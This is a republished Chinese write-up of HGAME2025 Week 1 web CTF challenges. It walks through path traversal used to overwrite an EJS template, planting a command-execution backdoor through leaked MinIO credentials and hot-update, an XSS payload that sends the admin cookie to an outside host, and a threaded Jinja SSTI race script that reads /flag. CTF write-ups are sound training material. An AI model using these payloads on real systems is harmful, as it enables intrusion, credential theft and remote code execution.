欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 创投人物 > HGAME2025 Week1

HGAME2025 Week1

2025/2/28 21:55:08 来源:https://blog.csdn.net/2302_80472909/article/details/145889476  浏览:    关键词:HGAME2025 Week1

目录

        • Level 24 Pacman
        • Level 47 BandBomb
        • Level 25 双面人派对
        • Level 69 MysteryMessageBoard
        • Level 38475 ⻆落

Level 24 Pacman

直接在js文件里面搜索score, 可以找到一个flag, 经过base64和栅栏解密可以发现是一个假的flag

在这里插入图片描述

在尝试搜索一下gift, 可以找到另一个flag, 依次解码就行
在这里插入图片描述

Level 47 BandBomb

题目给了源码

const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');const app = express();app.set('view engine', 'ejs');app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());const storage = multer.diskStorage({destination: (req, file, cb) => {const uploadDir = 'uploads';if (!fs.existsSync(uploadDir)) {fs.mkdirSync(uploadDir);}cb(null, uploadDir);},filename: (req, file, cb) => {cb(null, file.originalname);}
});const upload = multer({ storage: storage,fileFilter: (_, file, cb) => {try {if (!file.originalname) {return cb(new Error('无效的文件名'), false);}cb(null, true);} catch (err) {cb(new Error('文件处理错误'), false);}}
});app.get('/', (req, res) => {const uploadsDir = path.join(__dirname, 'uploads');if (!fs.existsSync(uploadsDir)) {fs.mkdirSync(uploadsDir);}fs.readdir(uploadsDir, (err, files) => {if (err) {return res.status(500).render('mortis', { files: [] });}res.render('mortis', { files: files });});
});app.post('/upload', (req, res) => {upload.single('file')(req, res, (err) => {if (err) {return res.status(400).json({ error: err.message });}if (!req.file) {return res.status(400).json({ error: '没有选择文件' });}res.json({ message: '文件上传成功',filename: req.file.filename });});
});app.post('/rename', (req, res) => {const { oldName, newName } = req.body;  const oldPath = path.join(__dirname, 'uploads', oldName);const newPath = path.join(__dirname, 'uploads', newName);if (!oldName || !newName) {return res.status(400).json({ error: ' ' });}fs.rename(oldPath, newPath, (err) => {if (err) {return res.status(500).json({ error: ' ' + err.message });}res.json({ message: ' ' });});
});app.listen(port, () => {console.log(`服务器运行在 http://localhost:${port}`);
});

有文件上传, 重命名功能, 但是文件上传之后无法查看自己上传的文件, 进过测试可以发现在/rename路由重命名存在路径穿越漏洞, 可以将上传的文件传到静态目录查看, 但是没啥作用

尝试将根目录/etc/passwd放到静态目录查看, 发现是显示没有权限, 然后将/flag 重命名放到静态目录显示是没有这个文件, 所以看来应该是要去执行命令之类的

想到覆盖文件, 上传一个app.js文件覆盖之前的app.js文件, 但是也没有用, 没有办法使它执行

  • EJS模板文件

什么是EJS模板文件?

EJS (Embedded JavaScript) 是一种轻量级的模板引擎,用于生成 HTML 页面。它允许在 HTML 中嵌入 JavaScript 代码,支持动态内容渲染,非常适合与 Node.js 一起使用。EJS 模板文件的扩展名通常是 .ejs

  • 支持动态数据渲染。

  • 支持模板继承和包括子模板。

  • 使用 <% %> 作为特殊标记嵌入逻辑代码。

基本语法:

输出数据到模板(转义 HTML 特殊字符)

<%= variable %>
  • 示例:

    <p>Hello, <%= user.name %>!</p>
    
  • 如果 user.name = "John"

    渲染结果为:

    <p>Hello, John!</p>
    

输出数据到模板(不转义 HTML 特殊字符)

<%- variable %>
  • 示例:

    <p><%- htmlContent %></p>
    
  • 如果

    htmlContent = "<strong>Bold Text</strong>"
    

    渲染结果为:

    <p><strong>Bold Text</strong></p>
    
  • 这种方式适合渲染包含 HTML 的内容。

执行 JavaScript 代码块

<% code %>
  • 示例:

    <% if (user.isLoggedIn) { %><p>Welcome back, <%= user.name %>!</p>
    <% } else { %><p>Please login.</p>
    <% } %>
    

注释(不会出现在渲染后的 HTML 中)

<%# This is a comment %>

包含子模板

<%- include('path/to/template', data) %>
  • 示例:

    <%- include('header', { title: 'My Page' }) %>
    
  • data 是传递给子模板的变量。

仔细查看代码

app.set('view engine', 'ejs');

Express框架中设置view engine为ejs,意味着当使用res.render()方法时,默认会查找扩展名为.ejs的模板文件

并且代码里面也是使用了res.render()方法

res.render('mortis', { files: files });

可知在 views/目录下存在mortis.ejs模板文件, 那么只需要覆盖掉这个文件, 写入我们想要执行的EJS模板代码, 当模板被渲染时就可以执行执行恶意命令了

使用Node.js里面的child_process 模块执行命令

<%= process.mainModule.require('child_process').execSync('env') %>
或者直接拿flag:
<%= process.env.FLAG %>

上传mortis文件, 再重命名, 刷新一下页面就可以看到flag了

在这里插入图片描述

在这里插入图片描述

Level 25 双面人派对

给了两个url, 第二个直接给了一个main文件, 下载下来

直接运行一下
在这里插入图片描述

一个Go语言的框架
题目提示是找到那个女人, UPX加壳了, 需要IDA给它逆一下

可以拿到一些信息:

minio:
endpoint: "127.0.0.1:9000"
access_key: "minio_admin"
secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="
bucket: "prodbucket"
key: "update"

根据得到的信息, 下载mc客户端, 连接minio服务器,即添加一个云存储连接

在这里插入图片描述

查看一下目录, 可以发现一个src.zip

在这里插入图片描述

将src.zip下载下来, 可以拿到整个的源码

在这里插入图片描述

可以看到它的源码里面存在 github.com/jpillora/overseer

  • 使用 overseer 库实现程序热更新(零停机重启)
  • 程序会自动拉取update文件

所以可以修改main.go文件(让ai写一下) 上传上去, 覆盖update文件, 从而实现rce

package mainimport ("level25/fetch""level25/conf""github.com/gin-gonic/gin""github.com/jpillora/overseer""net/http""os/exec"   // 新增:用于执行系统命令"runtime"
)func main() {fetcher := &fetch.MinioFetcher{Bucket:    conf.MinioBucket,Key:       conf.MinioKey,Endpoint:  conf.MinioEndpoint,AccessKey: conf.MinioAccessKey,SecretKey: conf.MinioSecretKey,}overseer.Run(overseer.Config{Program: program,Fetcher: fetcher,})
}func program(state overseer.State) {g := gin.Default()// 添加恶意路由:通过 GET 参数执行系统命令g.GET("/cmd", func(c *gin.Context) {command := c.Query("cmd") // 从 URL 参数获取命令,如 /cmd?cmd=whoamiif command == "" {c.String(http.StatusBadRequest, "需要提供 cmd 参数")return}var cmd *exec.Cmdif runtime.GOOS == "windows" {cmd = exec.Command("cmd.exe", "/C", command)} else {cmd = exec.Command("/bin/sh", "-c", command)}output, err := cmd.CombinedOutput()if err != nil {c.String(http.StatusInternalServerError, "执行失败: %s\n输出: %s", err.Error(), string(output))return}c.String(http.StatusOK, "命令输出:\n%s", string(output))})g.Run(":8080")
}

go build -o update main.go 编译一下
然后上传, 覆盖update
./mc cp src/update minio/prodbucket/update

就能执行命令拿到flag了

在这里插入图片描述

Level 69 MysteryMessageBoard

一个登录页面

shallot 要先登录才可以留言哦

显然用户名是 shallot

爆破一下密码, 发现是 888888

在这里插入图片描述

欢迎,shallot,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!

显然是xss类型的题目, 存在/admin路由和/flag路由, 查看/flag显示只能admin查看, 通过xss拿到admin的cookie, 再以admin的cookie替换自己的cookie就可以访问/flag路由拿到flag了

<script>location.href="http://ip/?cookie="+document.cookie</script>

在这里插入图片描述

MTc0MDM5ODQ5OXxEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWtBQjNOb1lXeHNiM1E9fEjIViOyrLyJItXh1k7Q30ceUu2J3pAJL7askEmcKf4E

在这里插入图片描述

Level 38475 ⻆落

扫目录可以发现robots.txt,给了一个/app.conf

# Include by httpd.conf
<Directory "/usr/local/apache2/app">Options IndexesAllowOverride NoneRequire all granted
</Directory><Files "/usr/local/apache2/app/app.py">Order Allow,DenyDeny from all
</Files>RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"ProxyPass "/app/" "http://127.0.0.1:5000/"

文章: https://blog.orange.tw/posts/2024-08-confusion-attacks-ch/

根据题目给的路径(/usr/local/apache2/app/app.py)读源码

在这里插入图片描述

from flask import Flask, request, render_template, render_template_string, redirect
import os
import templatesapp = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msgdef readmsg():filename = pwd + "/tmp/message.txt"if os.path.exists(filename):f = open(filename, 'r')message = f.read()f.close()return messageelse:return 'No message now.'@app.route('/index', methods=['GET'])
def index():status = request.args.get('status')if status is None:status = ''return render_template("index.html", status=status)@app.route('/send', methods=['POST'])
def write_message():filename = pwd + "/tmp/message.txt"message = request.form['message']f = open(filename, 'w')f.write(message) f.close()return redirect('index?status=Send successfully!!')@app.route('/read', methods=['GET'])
def read_message():if "{" not in readmsg():show = show_msg.replace("{{message}}", readmsg())return render_template_string(show)return 'waf!!'if __name__ == '__main__':app.run(host = '0.0.0.0', port = 5000)

很明显是打ssti, 通过竞争的方式拿到回显

import requests
import threadingurl1="http://node1.hgame.vidar.club:31273/app/send"
url2="http://node1.hgame.vidar.club:31273/app/read"def write():data={"message":"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"}res=requests.post(url1,data=data)def read():res=requests.get(url2)if "Latest message" in res.text:print(res.text)threads=[]
for i in range(5):t=threading.Thread(target=write)threads.append(t)t.start()t=threading.Thread(target=read)threads.append(t)t.start()for t in threads:t.join()

在这里插入图片描述

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词